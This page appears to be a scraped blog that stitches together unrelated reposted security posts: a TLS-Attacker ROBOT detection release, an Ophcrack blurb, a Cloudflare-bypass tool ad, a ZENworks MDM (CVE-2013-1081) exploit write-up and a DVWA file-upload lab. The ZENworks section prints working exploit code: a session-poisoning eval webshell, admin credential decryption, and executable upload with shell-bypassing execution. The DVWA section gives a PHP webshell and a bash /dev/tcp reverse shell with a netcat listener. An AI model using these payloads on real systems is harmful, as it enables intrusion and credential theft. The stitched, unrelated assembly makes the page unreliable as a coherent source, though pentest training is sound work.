闲言碎语(彭嘉佑)

Monday, April 20, 2020

TLS-Attacker V2.2 And The ROBOT Attack

We found out that many TLS implementations are still vulnerable to different variations of a 19-year old Bleichenbacher's attack. Since Hanno argued to have an attack name, we called it ROBOT: https://robotattack.org

Given the new attack variants, we released a new version of TLS-Attacker 2.2, which covers our vulnerabilities.

Bleichenbacher's attack from 1998

In 1998, Daniel Bleichenbacher discovered that the error messages given by SSL servers for errors in the PKCS #1 1.5 padding allow an adversary to execute an adaptive-chosen ciphertext attack. This attack also belongs to the category of padding oracle attacks. By performing the attack, the adversary exploits different responses returned by the server that decrypts the requests and validates the PKCS#1 1.5 padding. Given such a server, the attacker can use it as an oracle and decrypt ciphertexts.

We refer to one of our previous blog posts for more details.

OK, so what is new in our research?

In our research we performed scans of several well-known hosts and found out many of them are vulnerable to different forms of the attack. In the original paper, an oracle was constructed from a server that responded with different TLS alert messages. In 2014, further side-channels like timings were exploited. However, all the previous studies have considered mostly open source implementations. Only a few vulnerabilities have been found.

In our scans we could identify more than seven vulnerable products and open source software implementations, including F5, Radware, Cisco, Erlang, Bouncy Castle, or WolfSSL. We identified new side-channels triggered by incomplete protocol flows or TCP socket states.

For example, some F5 products would respond to a malformed ciphertext located in the ClientKeyExchange message with a TLS alert 40 (handshake failure) but allow connections to timeout if the decryption was successful. We could observe this behaviour only when sending incomplete TLS handshakes missing ChangeCipherSpec and Finished messages.

See our paper for more interesting results.

Release of TLS-Attacker 2.2

These new findings motivated us to implement the complete detection of Bleichenbacher attacks in our TLS-Attacker. Before our research, TLS-Attacker had implemented a basic Bleichenbacher attack evaluation with full TLS protocol flows. We extended this evaluation with shortened protocol flows with missing ChangeCipherSpec and Finished messages, and implemented an oracle detection based on TCP timeouts and duplicated TLS alerts. In addition, Robert (@ic0ns) added many fixes and merged features like replay attacks on 0-RTT in TLS 1.3.

You can find the newest version release here: https://github.com/RUB-NDS/TLS-Attacker/releases/tag/v2.2

TLS-Attacker allows you to automatically send differently formatted PKCS#1 encrypted messages and observe the server behavior:

$ java -jar Attacks.jar bleichenbacher -connect [host]:[port]

In case the server responds with different error messages, it is most likely vulnerable. The following example provides an example of a vulnerable server detection output:

14:12:42 [main] CONSOLE attacks.impl.Attacker - A server is considered vulnerable to this attack if it responds differently to the test vectors.
14:12:42 [main] CONSOLE attacks.impl.Attacker - A server is considered secure if it always responds the same way.
14:12:49 [main] CONSOLE attacks.impl.Attacker - Found a difference in responses in the Complete TLS protocol flow with CCS and Finished messages.
14:12:49 [main] CONSOLE attacks.impl.Attacker - The server seems to respond with different record contents.
14:12:49 [main] INFO  attacks.Main - Vulnerable:true

In this case TLS-Attacker identified that sending different PKCS#1 messages results in different server responses (the record contents are different).

Related word

Ophcrack

" Ophcrack is an open source (GPL license) program that cracks Windows LM hashes using rainbow tables. The program includes the ability to import the hashes from a variety of formats, including dumping directly from the SAM files of Windows. There is also a Live CD version which automates the retrieval, decryption, and cracking of passwords from a Windows system. Rainbow tables for LM hashes of alphanumeric passwords are provided for free by the developers. These tables can crack 99.9% of alphanumeric passwords of up to 14 characters in usually a few seconds, and at most a few minutes. Larger rainbow tables (for LM hashes of passwords with all printable characters, including symbols and space) are available for purchase from Objectif Securité. Starting with version 2.3, Ophcrack also cracks NT hashes. This is necessary if generation of the LM hash is disabled (this is default on Windows Vista), or if the password is longer than 14 characters (in which case the LM hash is not stored)." read more...

Website: http://ophcrack.sourceforge.net

Related posts

CLOUDKiLL3R - Bypasses Cloudflare Protection Service Via TOR Browser

CLOUDKiLL3R bypasses Cloudflare protection service via TOR Browser !

CLOUDKiLL3R Requirements :

TOR Browser to scan as many sites as you want :)
Python Compiler

CLOUDKiLL3R Installation ?
Make sure that TOR Browser is up and running while working with CLOUDKiLL3R .
Make sure that the IP AND PORT are the same in TOR Browser preferences > advanced > Networks
Include the files below in one folder :

FILTER.txt
CK.pl

Make Sure The Modules Below Are Installed If NOT > use this command to install one : pip install [module name]

argparse
socks
socket
requests
sys

Contact :
Twitter.com/moh_security

Download CLOUDKiLL3R

Novell Zenworks MDM: Mobile Device Management For The Masses

I'm pretty sure the reason Novell titled their Mobile Device Management (MDM, yo) under the 'Zenworks' group is because the developers of the product HAD to be in a state of meditation (sleeping) when they were writing the code you will see below.

Time to wake up - https://www.youtube.com/watch?v=vQObWW06VAM

For some reason the other night I ended up on the Vupen website and saw the following advisory on their page:

Novell ZENworks Mobile Management LFI Remote Code Execution (CVE-2013-1081) [BA+Code]

I took a quick look around and didn't see a public exploit anywhere so after discovering that Novell provides 60 day demos of products, I took a shot at figuring out the bug.

The actual CVE details are as follows:

"Directory traversal vulnerability in MDM.php in Novell ZENworks Mobile Management (ZMM) 2.6.1 and 2.7.0 allows remote attackers to include and execute arbitrary local files via the language parameter."

After setting up a VM (Zenworks MDM 2.6.0) and getting the product installed it looked pretty obvious right away ( 1 request?) where the bug may exist:

POST /DUSAP.php HTTP/1.1
Host: 192.168.20.133
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20100101 Firefox/21.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.20.133/index.php
Cookie: PHPSESSID=3v5ldq72nvdhsekb2f7gf31p84
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 74

username=&password=&domain=&language=res%2Flanguages%2FEnglish.php&submit=

Pulling up the source for the "DUSAP.php" script the following code path stuck out pretty bad:

<?php
session_start();

$UserName = $_REQUEST['username'];
$Domain = $_REQUEST['domain'];
$Password = $_REQUEST['password'];
$Language = $_REQUEST['language'];
$DeviceID = '';

if ($Language !== '' && $Language != $_SESSION["language"])
{
//check for validity
if ((substr($Language, 0, 14) == 'res\\languages\\' || substr($Language, 0, 14) == 'res/languages/') && file_exists($Language))
{
$_SESSION["language"] = $Language;
}
}

if (isset($_SESSION["language"]))
{
require_once( $_SESSION["language"]);
} else
{
require_once( 'res\languages\English.php' );
}

$_SESSION['$DeviceSAKey'] = mdm_AuthenticateUser($UserName, $Domain, $Password, $DeviceID);

In English:

Check if the "language" parameter is passed in on the request
If the "Language" variable is not empty and if the "language" session value is different from what has been provided, check its value
The "validation" routine checks that the "Language" variable starts with "res\languages\" or "res/languages/" and then if the file actually exists in the system
If the user has provided a value that meets the above criteria, the session variable "language" is set to the user provided value
If the session variable "language" is set, include it into the page
Authenticate

So it is possible to include any file from the system as long as the provided path starts with "res/languages" and the file exists. To start off it looked like maybe the IIS log files could be a possible candidate to include, but they are not readable by the user everything is executing under…bummer. The next spot I started looking for was if there was any other session data that could be controlled to include PHP. Example session file at this point looks like this:

$error|s:12:"Login Failed";language|s:25:"res/languages/English.php";$DeviceSAKey|i:0;

The "$error" value is server controlled, the "language" has to be a valid file on the system (cant stuff PHP in it), and "$DeviceSAKey" appears to be related to authentication. Next step I started searching through the code for spots where the "$_SESSION" is manipulated hoping to find some session variables that get set outside of logging in. I ran the following to get a better idea of places to start looking:

egrep -R '\$_SESSION\[.*\] =' ./

This pulled up a ton of results, including the following:

/desktop/download.php:$_SESSION['user_agent'] = $_SERVER['HTTP_USER_AGENT'];

Taking a look at the "download.php" file the following was observed:

<?php
session_start();
if (isset($_SESSION["language"]))
{
require_once( $_SESSION["language"]);
} else
{
require_once( 'res\languages\English.php' );
}
$filedata = $_SESSION['filedata'];
$filename = $_SESSION['filename'];
$usersakey = $_SESSION['UserSAKey'];

$_SESSION['user_agent'] = $_SERVER['HTTP_USER_AGENT'];
$active_user_agent = strtolower($_SESSION['user_agent']);

$ext = substr(strrchr($filename, '.'), 1);

if (isset($_SESSION['$DeviceSAKey']) && $_SESSION['$DeviceSAKey'] > 0)
{

} else
{
$_SESSION['$error'] = LOGIN_FAILED_TEXT;
header('Location: index.php');
}

The first highlighted part sets a new session variable "user_agent" to whatever our browser is sending, good so far.... The next highlighted section checks our session for "DeviceSAKey" which is used to check that the requester is authenticated in the system, in this case we are not so this fails and we are redirected to the login page ("index.php"). Because the server stores our session value before checking authentication (whoops) we can use this to store our payload to be included :)

This will create a session file named "sess_payload" that we can include, the file contains the following:

user_agent|s:34:"<?php echo(eval($_GET['cmd'])); ?>";$error|s:12:"Login Failed";

Now, I'm sure if you are paying attention you'd say "wait, why don't you just use exec/passthru/system", well the application installs and configures IIS to use a "guest" account for executing everything – no execute permissions for system stuff (cmd.exe,etc) :(. It is possible to get around this and gain system execution, but I decided to first see what other options are available. Looking at the database, the administrator credentials are "encrypted", but I kept seeing a function being used in PHP when trying to figure out how they were "encrypted": mdm_DecryptData(). No password or anything is provided when calling the fuction, so it can be assumed it is magic:

return mdm_DecryptData($result[0]['Password']);

Ends up it is magic – so I sent the following PHP to be executed on the server -

$pass=mdm_ExecuteSQLQuery("SELECT Password FROM Administrators where AdministratorSAKey = 1",array(),false,-1,"","","",QUERY_TYPE_SELECT);
echo $pass[0]["UserName"].":".mdm_DecryptData($pass[0]["Password"]);

Now that the password is available, you can log into the admin panel and do wonderful things like deploy policy to mobile devices (CA + proxy settings :)), wipe devices, pull text messages, etc….

This functionality has been wrapped up into a metasploit module that is available on github:

https://github.com/steponequit/CVE-2013-1081/blob/master/novell_mdm_creds.rb

Next up is bypassing the fact we cannot use "exec/system/passthru/etc" to execute system commands. The issue is that all of these commands try and execute whatever is sent via the system "shell", in this case "cmd.exe" which we do not have rights to execute. Lucky for us PHP provides "proc_open", specifically the fact "proc_open" allows us to set the "bypass_shell" option. So knowing this we need to figure out how to get an executable on the server and where we can put it. The where part is easy, the PHP process user has to be able to write to the PHP "temp" directory to write session files, so that is obvious. There are plenty of ways to get a file on the server using PHP, but I chose to use "php://input" with the executable base64'd in the POST body:

$wdir=getcwd()."\..\..\php\\\\temp\\\\";
file_put_contents($wdir."cmd.exe",base64_decode(file_get_contents("php://input")));

This bit of PHP will read the HTTP post's body (php://input) , base64 decode its contents, and write it to a file in a location we have specified. This location is relative to where we are executing so it should work no matter what directory the product is installed to.

After we have uploaded the file we can then carry out another request to execute what has been uploaded:

$wdir=getcwd()."\..\..\php\\\\temp\\\\";
$cmd=$wdir."cmd.exe";
$output=array();
$handle=proc_open($cmd,array(1=>array("pipe","w")),$pipes,null,null,array("bypass_shell"=>true));
if(is_resource($handle))
{
$output=explode("\\n",+stream_get_contents($pipes[1]));
fclose($pipes[1]);
proc_close($handle);
}
foreach($output+as &$temp){echo+$temp."\\r\\n";};

The key here is the "bypass_shell" option that is passed to "proc_open". Since all files that are created by the process user in the PHP "temp" directory are created with "all of the things" permissions, we can point "proc_open" at the file we have uploaded and it will run :)

This process was then rolled up into a metasploit module which is available here:

https://github.com/steponequit/CVE-2013-1081/blob/master/novell_mdm_lfi.rb

Update: Metasploit modules are now available as part of metasploit.

Learning Web Pentesting With DVWA Part 5: Using File Upload To Get Shell

In today's article we will go through the File Upload vulnerability of DVWA. File Upload vulnerability is a common vulnerability in which a web app doesn't restrict the type of files that can be uploaded to a server. The result of which is that a potential adversary uploads a malicious file to the server and finds his/her way to gain access to the server or perform other malicious activities. The consequences of Unrestricted File Upload are put out by OWASP as: "The consequences of unrestricted file upload can vary, including complete system takeover, an overloaded file system or database, forwarding attacks to back-end systems, client-side attacks, or simple defacement. It depends on what the application does with the uploaded file and especially where it is stored."
For successful vulnerability exploitation, we need two things:
1. An unrestricted file upload functionality.
2. Access to the uploaded file to execute the malicious code.
To perform this type of attack on DVWA click on File Upload navigation link, you'll be presented with a file upload form like this:

Lets upload a simple text file to see what happens. I'll create a simple text file with the following command:

echo TESTUPLOAD > test.txt

and now upload it.

The server gives a response back that our file was uploaded successfully and it also gives us the path where our file was stored on the server. Now lets try to access our uploaded file on the server, we go to the address provided by the server which is something like this:

http://localhost:9000/hackable/uploads/test.txt

and we see the text we had written to the file. Lets upload a php file now since the server is using php. We will upload a simple php file containing phpinfo() function. The contents of the file should look something like this.

<?php
phpinfo();
?>

Save the above code in a file called info.php (you can use any name) and upload it. Now naviagte to the provided URL:

http://localhost:9000/hackable/uploads/info.php

and you should see a phpinfo page like this:

phpinfo page contains a lot of information about the web application, but what we are interested in right now in the page is the disable_functions column which gives us info about the disabled functions. We cannot use disabled functions in our php code. The function that we are interested in using is the system() function of php and luckily it is not present in the disable_functions column. So lets go ahead and write a simple php web shell:

<?php
system($_GET["cmd"]);
?>

save the above code in a file shell.php and upload it. Visit the uploaded file and you see nothing. Our simple php shell is looking for a "cmd" GET parameter which it passes then to the system() function which executes it. Lets check the user using the whoami command as follows:

http://localhost:9000/hackable/uploads/shell.php?cmd=whoami

we see a response from the server giving us the user under which the web application is running.

We can use other bash commands such as ls to list the directories. Lets try to get a reverse shell now, we can use our existing webshell to get a reverse shell or we can upload a php reverse shell. Since we already have webshell at our disposal lets try this method first.

Lets get a one liner bash reverseshell from Pentest Monkey Reverse Shell Cheat Sheet and modify it to suit our setup, but we first need to know our ip address. Enter following command in a terminal to get your ip address:

ifconfig docker0

the above command provides us information about our virtual docker0 network interface. After getting the ip information we will modify the bash one liner as:

bash -c 'bash -i >& /dev/tcp/172.17.0.1/9999 0>&1'

here 172.17.0.1 is my docker0 interface ip and 9999 is the port on which I'll be listening for a reverse shell. Before entering it in our URL we need to urlencode it since it has some special characters in it. After urlencoding our reverse shell one liner online, it should look like this:

bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.17.0.1%2F9999%200%3E%261%27

Now start a listener on host with this command:

nc -lvnp 9999

and then enter the url encoded reverse shell in the cmd parameter of the url like this:

http://localhost:9000/hackable/uploads/shell.php?cmd=bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.17.0.1%2F9999%200%3E%261%27

looking back at the listener we have a reverse shell.

Now lets get a reverse shell by uploading a php reverse shell. We will use pentest monkey php reverse shell which you can get here. Edit the ip and port values of the php reverse shell to 172.17.0.1 and 9999. Setup our netcat listener like this:

nc -lvnp 9999

and upload the reverse shell to the server and access it to execute our reverse shell.

That's it for today have fun.

References:

Unrestricted File Upload: https://owasp.org/www-community/vulnerabilities/Unrestricted_File_Upload
Reverse Shell Cheat Sheet: http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
Php Reverse Shell (Pentest Monkey): https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php

闲言碎语(彭嘉佑)

Monday, April 20, 2020

TLS-Attacker V2.2 And The ROBOT Attack

Bleichenbacher's attack from 1998

OK, so what is new in our research?

Release of TLS-Attacker 2.2

Ophcrack

CLOUDKiLL3R - Bypasses Cloudflare Protection Service Via TOR Browser

Read more

Novell Zenworks MDM: Mobile Device Management For The Masses

Read more

Learning Web Pentesting With DVWA Part 5: Using File Upload To Get Shell

References:

More information

Classic Lishi Tools page:1

Our Websites

Blog Archive

彭嘉佑博客网络